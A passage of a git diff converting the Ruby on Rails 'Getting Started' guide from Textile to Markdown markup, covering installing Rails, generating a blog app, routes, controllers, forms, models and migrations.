+### `route`
-Adds text to the +config/routes.rb+ file:
+Adds text to the `config/routes.rb` file:
-<ruby>
+```ruby
route("resources :people")
-</ruby>
+```
-h4. +readme+
+### `readme`
-Output the contents of a file in the template's +source_path+, usually a README.
+Output the contents of a file in the template's `source_path`, usually a README.
-<ruby>
+```ruby
readme("README")
-</ruby>
+```
diff --git a/guides/source/getting_started.textile b/guides/source/getting_started.md
index 22da369a2a..28adad3855 100644
--- a/guides/source/getting_started.textile
+++ b/guides/source/getting_started.md
@@ -1,41 +1,44 @@
-h2. Getting Started with Rails
+Getting Started with Rails
+==========================
This guide covers getting up and running with Ruby on Rails. After reading it,
you should be familiar with:
-* Installing Rails, creating a new Rails application, and connecting your application to a database
-* The general layout of a Rails application
-* The basic principles of MVC (Model, View Controller) and RESTful design
-* How to quickly generate the starting pieces of a Rails application
+* Installing Rails, creating a new Rails application, and connecting your
+ application to a database.
+* The general layout of a Rails application.
+* The basic principles of MVC (Model, View, Controller) and RESTful design.
+* How to quickly generate the starting pieces of a Rails application.
-endprologue.
+--------------------------------------------------------------------------------
WARNING. This Guide is based on Rails 3.2. Some of the code shown here will not
work in earlier versions of Rails.
-h3. Guide Assumptions
+Guide Assumptions
+-----------------
This guide is designed for beginners who want to get started with a Rails
application from scratch. It does not assume that you have any prior experience
with Rails. However, to get the most out of it, you need to have some
prerequisites installed:
-* The "Ruby":http://www.ruby-lang.org/en/downloads language version 1.9.3 or higher
-
-* The "RubyGems":http://rubyforge.org/frs/?group_id=126 packaging system
- ** If you want to learn more about RubyGems, please read the "RubyGems User Guide":http://docs.rubygems.org/read/book/1
-* A working installation of the "SQLite3 Database":http://www.sqlite.org
+* The [Ruby](http://www.ruby-lang.org/en/downloads) language version 1.9.3 or higher
+* The [RubyGems](http://rubyforge.org/frs/?group_id=126) packaging system
+ * To learn more about RubyGems, please read the [RubyGems User Guide](http://docs.rubygems.org/read/book/1)
+* A working installation of the [SQLite3 Database](http://www.sqlite.org)
Rails is a web application framework running on the Ruby programming language.
If you have no prior experience with Ruby, you will find a very steep learning
curve diving straight into Rails. There are some good free resources on the
internet for learning Ruby, including:
-* "Mr. Neighborly's Humble Little Ruby Book":http://www.humblelittlerubybook.com
-* "Programming Ruby":http://www.ruby-doc.org/docs/ProgrammingRuby/
-* "Why's (Poignant) Guide to Ruby":http://mislav.uniqpath.com/poignant-guide/
+* [Mr. Neighborly's Humble Little Ruby Book](http://www.humblelittlerubybook.com)
+* [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/)
+* [Why's (Poignant) Guide to Ruby](http://mislav.uniqpath.com/poignant-guide/)
-h3. What is Rails?
+What is Rails?
+--------------
Rails is a web application development framework written in the Ruby language.
It is designed to make programming web applications easier by making assumptions
@@ -57,107 +60,109 @@ The Rails philosophy includes two major guiding principles:
* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to
do it, rather than requiring you to specify every little thing through endless configuration files.
-h3. Creating a New Rails Project
+Creating a New Rails Project
+----------------------------
The best way to use this guide is to follow each step as it happens, no code or
step needed to make this example application has been left out, so you can
literally follow along step by step. You can get the complete code
-"here":https://github.com/lifo/docrails/tree/master/guides/code/getting_started.
+[here](https://github.com/lifo/docrails/tree/master/guides/code/getting_started).
By following along with this guide, you'll create a Rails project called
-+blog+, a
+`blog`, a
(very) simple weblog. Before you can start building the application, you need to
make sure that you have Rails itself installed.
TIP: The examples below use # and $ to denote superuser and regular user terminal prompts respectively in a UNIX-like OS. If you are using Windows, your prompt will look something like c:\source_code>
-h4. Installing Rails
+### Installing Rails
-To install Rails, use the +gem install+ command provided by RubyGems:
+To install Rails, use the `gem install` command provided by RubyGems:
-<shell>
+```bash
# gem install rails
-</shell>
+```
TIP. A number of tools exist to help you quickly install Ruby and Ruby
-on Rails on your system. Windows users can use "Rails
-Installer":http://railsinstaller.org, while Mac OS X users can use
-"Rails One Click":http://railsoneclick.com.
+on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org), while Mac OS X users can use
+[Rails One Click](http://railsoneclick.com).
To verify that you have everything installed correctly, you should be able to run the following:
-<shell>
+```bash
$ rails --version
-</shell>
+```
-If it says something like "Rails 3.2.3" you are ready to continue.
+If it says something like "Rails 3.2.8" you are ready to continue.
-h4. Creating the Blog Application
+### Creating the Blog Application
Rails comes with a number of generators that are designed to make your development life easier. One of these is the new application generator, which will provide you with the foundation of a Rails application so that you don't have to write it yourself.
To use this generator, open a terminal, navigate to a directory where you have rights to create files, and type:
-<shell>
+```bash
$ rails new blog
-</shell>
+```
-This will create a Rails application called Blog in a directory called blog and install the gem dependencies that are already mentioned in +Gemfile+ using +bundle install+.
+This will create a Rails application called Blog in a directory called blog and install the gem dependencies that are already mentioned in `Gemfile` using `bundle install`.
TIP: You can see all of the command line options that the Rails
-application builder accepts by running +rails new -h+.
+application builder accepts by running `rails new -h`.
After you create the blog application, switch to its folder to continue work directly in that application:
-<shell>
+```bash
$ cd blog
-</shell>
+```
-The +rails new blog+ command we ran above created a folder in your
-working directory called +blog+. The +blog+ directory has a number of
+The `rails new blog` command we ran above created a folder in your
+working directory called `blog`. The `blog` directory has a number of
auto-generated files and folders that make up the structure of a Rails
-application. Most of the work in this tutorial will happen in the +app/+ folder, but here's a basic rundown on the function of each of the files and folders that Rails created by default:
+application. Most of the work in this tutorial will happen in the `app/` folder, but here's a basic rundown on the function of each of the files and folders that Rails created by default:
-|_.File/Folder|_.Purpose|
+| File/Folder | Purpose |
+| ----------- | ------- |
|app/|Contains the controllers, models, views, helpers, mailers and assets for your application. You'll focus on this folder for the remainder of this guide.|
-|config/|Configure your application's runtime rules, routes, database, and more. This is covered in more detail in "Configuring Rails Applications":configuring.html|
+|config/|Configure your application's runtime rules, routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html)|
|config.ru|Rack configuration for Rack based servers used to start the application.|
|db/|Contains your current database schema, as well as the database migrations.|
|doc/|In-depth documentation for your application.|
-|Gemfile<BR />Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see "the Bundler website":http://gembundler.com |
+|Gemfile<br />Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see [the Bundler website](http://gembundler.com) |
|lib/|Extended modules for your application.|
|log/|Application log files.|
|public/|The only folder seen to the world as-is. Contains the static files and compiled assets.|
|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.|
|README.rdoc|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.|
|script/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.|
-|test/|Unit tests, fixtures, and other test apparatus. These are covered in "Testing Rails Applications":testing.html|
+|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html)|
|tmp/|Temporary files (like cache, pid and session files)|
|vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems and the Rails source code (if you optionally install it into your project).|
-h3. Hello, Rails!
+Hello, Rails!
+-------------
To begin with, let's get some text up on screen quickly. To do this, you need to get your Rails application server running.
-h4. Starting up the Web Server
+### Starting up the Web Server
You actually have a functional Rails application already. To see it, you need to start a web server on your development machine. You can do this by running:
-<shell>
+```bash
$ rails server
-</shell>
+```
-TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the absence of a runtime will give you an +execjs+ error. Usually Mac OS X and Windows come with a JavaScript runtime installed. Rails adds the +therubyracer+ gem to Gemfile in a commented line for new apps and you can uncomment if you need it. +therubyrhino+ is the recommended runtime for JRuby users and is added by default to Gemfile in apps generated under JRuby. You can investigate about all the supported runtimes at "ExecJS":https://github.com/sstephenson/execjs#readme.
+TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the absence of a runtime will give you an `execjs` error. Usually Mac OS X and Windows come with a JavaScript runtime installed. Rails adds the `therubyracer` gem to Gemfile in a commented line for new apps and you can uncomment if you need it. `therubyrhino` is the recommended runtime for JRuby users and is added by default to Gemfile in apps generated under JRuby. You can investigate about all the supported runtimes at [ExecJS](https://github.com/sstephenson/execjs#readme).
-This will fire up WEBrick, a webserver built into Ruby by default. To see your application in action, open a browser window and navigate to "http://localhost:3000":http://localhost:3000. You should see the Rails default information page:
+This will fire up WEBrick, a webserver built into Ruby by default. To see your application in action, open a browser window and navigate to [http://localhost:3000](http://localhost:3000). You should see the Rails default information page:
-!images/rails_welcome.png(Welcome Aboard screenshot)!
+![Welcome Aboard screenshot](images/rails_welcome.png)
TIP: To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to restart the server; changes you make in files will be automatically picked up by the server.
The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. You can also click on the _About your application’s environment_ link to see a summary of your application's environment.
-h4. Say "Hello", Rails
+### Say "Hello", Rails
To get Rails saying "Hello", you need to create at minimum a _controller_ and a _view_.
@@ -167,13 +172,13 @@ A view's purpose is to display this information in a human readable format. An i
To create a new controller, you will need to run the "controller" generator and tell it you want a controller called "welcome" with an action called "index", just like this:
-<shell>
+```bash
$ rails generate controller welcome index
-</shell>
+```
Rails will create several files and a route for you.
-<shell>
+```bash
create app/controllers/welcome_controller.rb
route get "welcome/index"
invoke erb
@@ -190,29 +195,29 @@ invoke coffee
create app/assets/javascripts/welcome.js.coffee
invoke scss
create app/assets/stylesheets/welcome.css.scss
-</shell>
+```
-Most important of these are of course the controller, located at +app/controllers/welcome_controller.rb+ and the view, located at +app/views/welcome/index.html.erb+.
+Most important of these are of course the controller, located at `app/controllers/welcome_controller.rb` and the view, located at `app/views/welcome/index.html.erb`.
-Open the +app/views/welcome/index.html.erb+ file in your text editor and edit it to contain a single line of code:
+Open the `app/views/welcome/index.html.erb` file in your text editor and edit it to contain a single line of code:
-<html>
+```html
<h1>Hello, Rails!</h1>
-</html>
+```
-h4. Setting the Application Home Page
+### Setting the Application Home Page
-Now that we have made the controller and view, we need to tell Rails when we want "Hello Rails!" to show up. In our case, we want it to show up when we navigate to the root URL of our site, "http://localhost:3000":http://localhost:3000. At the moment, however, the "Welcome Aboard" smoke test is occupying that spot.
+Now that we have made the controller and view, we need to tell Rails when we want Hello Rails! to show up. In our case, we want it to show up when we navigate to the root URL of our site, [http://localhost:3000](http://localhost:3000). At the moment, however, the "Welcome Aboard" smoke test is occupying that spot.
-To fix this, delete the +index.html+ file located inside the +public+ directory of the application.
+To fix this, delete the `index.html` file located inside the `public` directory of the application.
-You need to do this because Rails will serve any static file in the +public+ directory that matches a route in preference to any dynamic content you generate from the controllers. The +index.html+ file is special: it will be served if a request comes in at the root route, e.g. http://localhost:3000. If another request such as http://localhost:3000/welcome happened, a static file at <tt>public/welcome.html</tt> would be served first, but only if it existed.
+You need to do this because Rails will serve any static file in the `public` directory that matches a route in preference to any dynamic content you generate from the controllers. The `index.html` file is special: it will be served if a request comes in at the root route, e.g. [http://localhost:3000](http://localhost:3000). If another request such as [http://localhost:3000/welcome](http://localhost:3000/welcome) happened, a static file at `public/welcome.html` would be served first, but only if it existed.
Next, you have to tell Rails where your actual home page is located.
-Open the file +config/routes.rb+ in your editor.
+Open the file `config/routes.rb` in your editor.
-<ruby>
+```ruby
Blog::Application.routes.draw do
get "welcome/index"
@@ -222,21 +227,22 @@ Blog::Application.routes.draw do
# You can have the root of your site routed with "root"
# just remember to delete public/index.html.
# root :to => "welcome#index"
-</ruby>
+```
-This is your application's _routing file_ which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. Find the line beginning with +root :to+ and uncomment it. It should look something like the following:
+This is your application's _routing file_ which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. Find the line beginning with `root :to` and uncomment it. It should look something like the following:
-<ruby>
+```ruby
root :to => "welcome#index"
-</ruby>
+```
-The +root :to => "welcome#index"+ tells Rails to map requests to the root of the application to the welcome controller's index action and +get "welcome/index"+ tells Rails to map requests to "http://localhost:3000/welcome/index":http://localhost:3000/welcome/index to the welcome controller's index action. This was created earlier when you ran the controller generator (+rails generate controller welcome index+).
+The `root :to => "welcome#index"` tells Rails to map requests to the root of the application to the welcome controller's index action and `get "welcome/index"` tells Rails to map requests to [http://localhost:3000/welcome/index](http://localhost:3000/welcome/index) to the welcome controller's index action. This was created earlier when you ran the controller generator (`rails generate controller welcome index`).
-If you navigate to "http://localhost:3000":http://localhost:3000 in your browser, you'll see the +Hello, Rails!+ message you put into +app/views/welcome/index.html.erb+, indicating that this new route is indeed going to +WelcomeController+'s +index+ action and is rendering the view correctly.
+If you navigate to [http://localhost:3000](http://localhost:3000) in your browser, you'll see the `Hello, Rails!` message you put into `app/views/welcome/index.html.erb`, indicating that this new route is indeed going to `WelcomeController`'s `index` action and is rendering the view correctly.
-NOTE. For more information about routing, refer to "Rails Routing from the Outside In":routing.html.
+NOTE. For more information about routing, refer to [Rails Routing from the Outside In](routing.html).
-h3. Getting Up and Running
+Getting Up and Running
+----------------------
Now that you've seen how to create a controller, an action and a view, let's create something with a bit more substance.
@@ -244,61 +250,61 @@ In the Blog application, you will now create a new _resource_. A resource is the
In the next section, you will add the ability to create new posts in your application and be able to view them. This is the "C" and the "R" from CRUD: creation and reading. The form for doing this will look like this:
-!images/getting_started/new_post.png(The new post form)!
+![The new post form](images/getting_started/new_post.png)
It will look a little basic for now, but that's ok. We'll look at improving the styling for it afterwards.
-h4. Laying down the ground work
+### Laying down the ground work
-The first thing that you are going to need to create a new post within the application is a place to do that. A great place for that would be at +/posts/new+. If you attempt to navigate to that now -- by visiting "http://localhost:3000/posts/new":http://localhost:3000/posts/new -- Rails will give you a routing error:
+The first thing that you are going to need to create a new post within the application is a place to do that. A great place for that would be at `/posts/new`. If you attempt to navigate to that now -- by visiting [http://localhost:3000/posts/new](http://localhost:3000/posts/new) -- Rails will give you a routing error:
-!images/getting_started/routing_error_no_route_matches.png(A routing error, no route matches /posts/new)!
+![A routing error, no route matches /posts/new](images/getting_started/routing_error_no_route_matches.png)
-This is because there is nowhere inside the routes for the application -- defined inside +config/routes.rb+ -- that defines this route. By default, Rails has no routes configured at all, besides the root route you defined earlier, and so you must define your routes as you need them.
+This is because there is nowhere inside the routes for the application -- defined inside `config/routes.rb` -- that defines this route. By default, Rails has no routes configured at all, besides the root route you defined earlier, and so you must define your routes as you need them.
- To do this, you're going to need to create a route inside +config/routes.rb+ file, on a new line between the +do+ and the +end+ for the +draw+ method:
+ To do this, you're going to need to create a route inside `config/routes.rb` file, on a new line between the `do` and the `end` for the `draw` method:
-<ruby>
+```ruby
get "posts/new"
-</ruby>
+```
-This route is a super-simple route: it defines a new route that only responds to +GET+ requests, and that the route is at +posts/new+. But how does it know where to go without the use of the +:to+ option? Well, Rails uses a sensible default here: Rails will assume that you want this route to go to the new action inside the posts controller.
+This route is a super-simple route: it defines a new route that only responds to `GET` requests, and that the route is at `posts/new`. But how does it know where to go without the use of the `:to` option? Well, Rails uses a sensible default here: Rails will assume that you want this route to go to the new action inside the posts controller.
-With the route defined, requests can now be made to +/posts/new+ in the application. Navigate to "http://localhost:3000/posts/new":http://localhost:3000/posts/new and you'll see another routing error:
+With the route defined, requests can now be made to `/posts/new` in the application. Navigate to [http://localhost:3000/posts/new](http://localhost:3000/posts/new) and you'll see another routing error:
-!images/getting_started/routing_error_no_controller.png(Another routing error, uninitialized constant PostsController)!
+![Another routing error, uninitialized constant PostsController](images/getting_started/routing_error_no_controller.png)
-This error is happening because this route need a controller to be defined. The route is attempting to find that controller so it can serve the request, but with the controller undefined, it just can't do that. The solution to this particular problem is simple: you need to create a controller called +PostsController+. You can do this by running this command:
+This error is happening because this route need a controller to be defined. The route is attempting to find that controller so it can serve the request, but with the controller undefined, it just can't do that. The solution to this particular problem is simple: you need to create a controller called `PostsController`. You can do this by running this command:
-<shell>
+```bash
$ rails g controller posts
-</shell>
+```
-If you open up the newly generated +app/controllers/posts_controller.rb+ you'll see a fairly empty controller:
+If you open up the newly generated `app/controllers/posts_controller.rb` you'll see a fairly empty controller:
-<ruby>
+```ruby
class PostsController < ApplicationController
end
-</ruby>
+```
-A controller is simply a class that is defined to inherit from +ApplicationController+. It's inside this class that you'll define methods that will become the actions for this controller. These actions will perform CRUD operations on the posts within our system.
+A controller is simply a class that is defined to inherit from `ApplicationController`. It's inside this class that you'll define methods that will become the actions for this controller. These actions will perform CRUD operations on the posts within our system.
-If you refresh "http://localhost:3000/posts/new":http://localhost:3000/posts/new now, you'll get a new error:
+If you refresh [http://localhost:3000/posts/new](http://localhost:3000/posts/new) now, you'll get a new error:
-!images/getting_started/unknown_action_new_for_posts.png(Unknown action new for PostsController!)!
+![Unknown action new for PostsController!](images/getting_started/unknown_action_new_for_posts.png)
-This error indicates that Rails cannot find the +new+ action inside the +PostsController+ that you just generated. This is because when controllers are generated in Rails they are empty by default, unless you tell it you wanted actions during the generation process.
+This error indicates that Rails cannot find the `new` action inside the `PostsController` that you just generated. This is because when controllers are generated in Rails they are empty by default, unless you tell it you wanted actions during the generation process.
-To manually define an action inside a controller, all you need to do is to define a new method inside the controller. Open +app/controllers/posts_controller.rb+ and inside the +PostsController+ class, define a +new+ method like this:
+To manually define an action inside a controller, all you need to do is to define a new method inside the controller. Open `app/controllers/posts_controller.rb` and inside the `PostsController` class, define a `new` method like this:
-<ruby>
+```ruby
def new
end
-</ruby>
+```
-With the +new+ method defined in +PostsController+, if you refresh "http://localhost:3000/posts/new":http://localhost:3000/posts/new you'll see another error:
+With the `new` method defined in `PostsController`, if you refresh [http://localhost:3000/posts/new](http://localhost:3000/posts/new) you'll see another error:
-!images/getting_started/template_is_missing_posts_new.png(Template is missing for posts/new)!
+![Template is missing for posts/new](images/getting_started/template_is_missing_posts_new.png)
You're getting this error now because Rails expects plain actions like this one to have views associated with them to display their information. With no view available, Rails errors out.
@@ -310,29 +316,29 @@ Missing template posts/new, application/new with {:locale=>[:en], :formats=>[:ht
That's quite a lot of text! Let's quickly go through and understand what each part of it does.
-The first part identifies what template is missing. In this case, it's the +posts/new+ template. Rails will first look for this template. If not found, then it will attempt to load a template called +application/new+. It looks for one here because the +PostsController+ inherits from +ApplicationController+.
+The first part identifies what template is missing. In this case, it's the `posts/new` template. Rails will first look for this template. If not found, then it will attempt to load a template called `application/new`. It looks for one here because the `PostsController` inherits from `ApplicationController`.
-The next part of the message contains a hash. The +:locale+ key in this hash simply indicates what spoken language template should be retrieved. By default, this is the English -- or "en" -- template. The next key, +:formats+ specifies the format of template to be served in response . The default format is +:html+, and so Rails is looking for an HTML template. The final key, +:handlers+, is telling us what _template handlers_ could be used to render our template. +:erb+ is most commonly used for HTML templates, +:builder+ is used for XML templates, and +:coffee+ uses CoffeeScript to build JavaScript templates.
+The next part of the message contains a hash. The `:locale` key in this hash simply indicates what spoken language template should be retrieved. By default, this is the English -- or "en" -- template. The next key, `:formats` specifies the format of template to be served in response . The default format is `:html`, and so Rails is looking for an HTML template. The final key, `:handlers`, is telling us what _template handlers_ could be used to render our template. `:erb` is most commonly used for HTML templates, `:builder` is used for XML templates, and `:coffee` uses CoffeeScript to build JavaScript templates.
The final part of this message tells us where Rails has looked for the templates. Templates within a basic Rails application like this are kept in a single location, but in more complex applications it could be many different paths.
-The simplest template that would work in this case would be one located at +app/views/posts/new.html.erb+. The extension of this file name is key: the first extension is the _format_ of the template, and the second extension is the _handler_ that will be used. Rails is attempting to find a template called +posts/new+ within +app/views+ for the application. The format for this template can only be +html+ and the handler must be one of +erb+, +builder+ or +coffee+. Because you want to create a new HTML form, you will be using the +ERB+ language. Therefore the file should be called +posts/new.html.erb+ and needs to be located inside the +app/views+ directory of the application.
+The simplest template that would work in this case would be one located at `app/views/posts/new.html.erb`. The extension of this file name is key: the first extension is the _format_ of the template, and the second extension is the _handler_ that will be used. Rails is attempting to find a template called `posts/new` within `app/views` for the application. The format for this template can only be `html` and the handler must be one of `erb`, `builder` or `coffee`. Because you want to create a new HTML form, you will be using the `ERB` language. Therefore the file should be called `posts/new.html.erb` and needs to be located inside the `app/views` directory of the application.
-Go ahead now and create a new file at +app/views/posts/new.html.erb+ and write this content in it:
+Go ahead now and create a new file at `app/views/posts/new.html.erb` and write this content in it:
-<erb>
+```html
<h1>New Post</h1>
-</erb>
+```
-When you refresh "http://localhost:3000/posts/new":http://localhost:3000/posts/new you'll now see that the page has a title. The route, controller, action and view are now working harmoniously! It's time to create the form for a new post.
+When you refresh [http://localhost:3000/posts/new](http://localhost:3000/posts/new) you'll now see that the page has a title. The route, controller, action and view are now working harmoniously! It's time to create the form for a new post.
-h4. The first form
+### The first form
To create a form within this template, you will use a <em>form
builder</em>. The primary form builder for Rails is provided by a helper
-method called +form_for+. To use this method, add this code into +app/views/posts/new.html.erb+:
+method called `form_for`. To use this method, add this code into `app/views/posts/new.html.erb`:
-<erb>
+```html+erb
<%= form_for :post do |f| %>
<p>
<%= f.label :title %><br>
@@ -348,96 +354,95 @@ method called +form_for+. To use this method, add this code into +app/views/post
<%= f.submit %>
</p>
<% end %>
-</erb>
+```
If you refresh the page now, you'll see the exact same form as in the example. Building forms in Rails is really just that easy!
-When you call +form_for+, you pass it an identifying object for this
-form. In this case, it's the symbol +:post+. This tells the +form_for+
+When you call `form_for`, you pass it an identifying object for this
+form. In this case, it's the symbol `:post`. This tells the `form_for`
helper what this form is for. Inside the block for this method, the
-+FormBuilder+ object -- represented by +f+ -- is used to build two labels and two text fields, one each for the title and text of a post. Finally, a call to +submit+ on the +f+ object will create a submit button for the form.
+`FormBuilder` object -- represented by `f` -- is used to build two labels and two text fields, one each for the title and text of a post. Finally, a call to `submit` on the `f` object will create a submit button for the form.
-There's one problem with this form though. If you inspect the HTML that is generated, by viewing the source of the page, you will see that the +action+ attribute for the form is pointing at +/posts/new+. This is a problem because this route goes to the very page that you're on right at the moment, and that route should only be used to display the form for a new post.
+There's one problem with this form though. If you inspect the HTML that is generated, by viewing the source of the page, you will see that the `action` attribute for the form is pointing at `/posts/new`. This is a problem because this route goes to the very page that you're on right at the moment, and that route should only be used to display the form for a new post.
The form needs to use a different URL in order to go somewhere else.
-This can be done quite simply with the +:url+ option of +form_for+.
+This can be done quite simply with the `:url` option of `form_for`.
Typically in Rails, the action that is used for new form submissions
like this is called "create", and so the form should be pointed to that action.
-Edit the +form_for+ line inside +app/views/posts/new.html.erb+ to look like this:
+Edit the `form_for` line inside `app/views/posts/new.html.erb` to look like this:
-<erb>
+```html+erb
<%= form_for :post, :url => { :action => :create } do |f| %>
-</erb>
+```
-In this example, a +Hash+ object is passed to the +:url+ option. What Rails will do with this is that it will point the form to the +create+ action of the current controller, the +PostsController+, and will send a +POST+ request to that route. For this to work, you will need to add a route to +config/routes.rb+, right underneath the one for "posts/new":
+In this example, a `Hash` object is passed to the `:url` option. What Rails will do with this is that it will point the form to the `create` action of the current controller, the `PostsController`, and will send a `POST` request to that route. For this to work, you will need to add a route to `config/routes.rb`, right underneath the one for "posts/new":
-<ruby>
+```ruby
post "posts" => "posts#create"
-</ruby>
+```
-By using the +post+ method rather than the +get+ method, Rails will define a route that will only respond to POST methods. The POST method is the typical method used by forms all over the web.
+By using the `post` method rather than the `get` method, Rails will define a route that will only respond to POST methods. The POST method is the typical method used by forms all over the web.
With the form and its associated route defined, you will be able to fill in the form and then click the submit button to begin the process of creating a new post, so go ahead and do that. When you submit the form, you should see a familiar error:
-!images/getting_started/unknown_action_create_for_posts.png(Unknown action create for PostsController)!
+![Unknown action create for PostsController](images/getting_started/unknown_action_create_for_posts.png)
-You now need to create the +create+ action within the +PostsController+ for this to work.
+You now need to create the `create` action within the `PostsController` for this to work.
-h4. Creating posts
+### Creating posts
-To make the "Unknown action" go away, you can define a +create+ action within the +PostsController+ class in +app/controllers/posts_controller.rb+, underneath the +new+ action:
+To make the "Unknown action" go away, you can define a `create` action within the `PostsController` class in `app/controllers/posts_controller.rb`, underneath the `new` action:
-<ruby>
+```ruby
class PostsController < ApplicationController
def new
end
def create
end
-
end
-</ruby>
+```
-If you re-submit the form now, you'll see another familiar error: a template is missing. That's ok, we can ignore that for now. What the +create+ action should be doing is saving our new post to a database.
+If you re-submit the form now, you'll see another familiar error: a template is missing. That's ok, we can ignore that for now. What the `create` action should be doing is saving our new post to a database.
-When a form is submitted, the fields of the form are sent to Rails as _parameters_. These parameters can then be referenced inside the controller actions, typically to perform a particular task. To see what these parameters look like, change the +create+ action to this:
+When a form is submitted, the fields of the form are sent to Rails as _parameters_. These parameters can then be referenced inside the controller actions, typically to perform a particular task. To see what these parameters look like, change the `create` action to this:
-<ruby>
+```ruby
def create
render :text => params[:post].inspect
end
-</ruby>
+```
-The +render+ method here is taking a very simple hash with a key of +text+ and value of +params[:post].inspect+. The +params+ method is the object which represents the parameters (or fields) coming in from the form. The +params+ method returns a +HashWithIndifferentAccess+ object, which allows you to access the keys of the hash using either strings or symbols. In this situation, the only parameters that matter are the ones from the form.
+The `render` method here is taking a very simple hash with a key of `text` and value of `params[:post].inspect`. The `params` method is the object which represents the parameters (or fields) coming in from the form. The `params` method returns a `HashWithIndifferentAccess` object, which allows you to access the keys of the hash using either strings or symbols. In this situation, the only parameters that matter are the ones from the form.
If you re-submit the form one more time you'll now no longer get the missing template error. Instead, you'll see something that looks like the following:
-<ruby>
+```ruby
{"title"=>"First post!", "text"=>"This is my first post."}
-</ruby>
+```
This action is now displaying the parameters for the post that are coming in from the form. However, this isn't really all that helpful. Yes, you can see the parameters but nothing in particular is being done with them.
-h4. Creating the Post model
+### Creating the Post model
Models in Rails use a singular name, and their corresponding database tables use
a plural name. Rails provides a generator for creating models, which
most Rails developers tend to use when creating new models.
To create the new model, run this command in your terminal:
-<shell>
+```bash
$ rails generate model Post title:string text:text
-</shell>
+```
-With that command we told Rails that we want a +Post+ model, together
+With that command we told Rails that we want a `Post` model, together
with a _title_ attribute of type string, and a _text_ attribute
-of type text. Those attributes are automatically added to the +posts+
-table in the database and mapped to the +Post+ model.
+of type text. Those attributes are automatically added to the `posts`
+table in the database and mapped to the `Post` model.
Rails responded by creating a bunch of files. For
-now, we're only interested in +app/models/post.rb+ and
-+db/migrate/20120419084633_create_posts.rb+ (your name could be a bit
+now, we're only interested in `app/models/post.rb` and
+`db/migrate/20120419084633_create_posts.rb` (your name could be a bit
different). The latter is responsible
for creating the database structure, which is what we'll look at next.
@@ -446,20 +451,20 @@ model attributes, which means you don't have to declare attributes
inside Rails models, as that will be done automatically by Active
Record.
-h4. Running a Migration
+### Running a Migration
-As we've just seen, +rails generate model+ created a _database
-migration_ file inside the +db/migrate+ directory.
+As we've just seen, `rails generate model` created a _database
+migration_ file inside the `db/migrate` directory.
Migrations are Ruby classes that are designed to make it simple to
create and modify database tables. Rails uses rake commands to run migrations,
and it's possible to undo a migration after it's been applied to your database.
Migration filenames include a timestamp to ensure that they're processed in the
order that they were created.
-If you look in the +db/migrate/20120419084633_create_posts.rb+ file (remember,
+If you look in the `db/migrate/20120419084633_create_posts.rb` file (remember,
yours will have a slightly different name), here's what you'll find:
-<ruby>
+```ruby
class CreatePosts < ActiveRecord::Migration
def change
create_table :posts do |t|
@@ -470,98 +475,98 @@ class CreatePosts < ActiveRecord::Migration
end
end
end
-</ruby>
+```
-The above migration creates a method named +change+ which will be called when you
+The above migration creates a method named `change` which will be called when you
run this migration. The action defined in this method is also reversible, which
means Rails knows how to reverse the change made by this migration, in case you
want to reverse it later. When you run this migration it will create a
-+posts+ table with one string column and a text column. It also creates two
+`posts` table with one string column and a text column. It also creates two
timestamp fields to allow Rails to track post creation and update times. More
information about Rails migrations can be found in the "Rails Database
Migrations":migrations.html guide.
At this point, you can use a rake command to run the migration:
-<shell>
+```bash
$ rake db:migrate
-</shell>
+```
Rails will execute this migration command and tell you it created the Posts
table.
-<shell>
+```bash
== CreatePosts: migrating ====================================================
-- create_table(:posts)
-> 0.0019s
== CreatePosts: migrated (0.0020s) ===========================================
-</shell>
+```
NOTE. Because you're working in the development environment by default, this
-command will apply to the database defined in the +development+ section of your
-+config/database.yml+ file. If you would like to execute migrations in another
+command will apply to the database defined in the `development` section of your
+`config/database.yml` file. If you would like to execute migrations in another
environment, for instance in production, you must explicitly pass it when
-invoking the command: +rake db:migrate RAILS_ENV=production+.
+invoking the command: `rake db:migrate RAILS_ENV=production`.
-h4. Saving data in the controller
+### Saving data in the controller
-Back in +posts_controller+, we need to change the +create+ action
-to use the new +Post+ model to save the data in the database. Open that file
-and change the +create+ action to look like this:
+Back in `posts_controller`, we need to change the `create` action
+to use the new `Post` model to save the data in the database. Open that file
+and change the `create` action to look like this:
-<ruby>
+```ruby
def create
@post = Post.new(params[:post])
@post.save
redirect_to :action => :show, :id => @post.id
end
-</ruby>
+```
Here's what's going on: every Rails model can be initialized with its
respective attributes, which are automatically mapped to the respective
database columns. In the first line we do just that (remember that
-+params[:post]+ contains the attributes we're interested in). Then,
-+@post.save+ is responsible for saving the model in the database.
-Finally, we redirect the user to the +show+ action,
+`params[:post]` contains the attributes we're interested in). Then,
+`@post.save` is responsible for saving the model in the database.
+Finally, we redirect the user to the `show` action,
which we'll define later.
-TIP: As we'll see later, +@post.save+ returns a boolean indicating
+TIP: As we'll see later, `@post.save` returns a boolean indicating
wherever the model was saved or not.
-h4. Showing Posts
+### Showing Posts
If you submit the form again now, Rails will complain about not finding
-the +show+ action. That's not very useful though, so let's add the
-+show+ action before proceeding. Open +config/routes.rb+ and add the following route:
+the `show` action. That's not very useful though, so let's add the
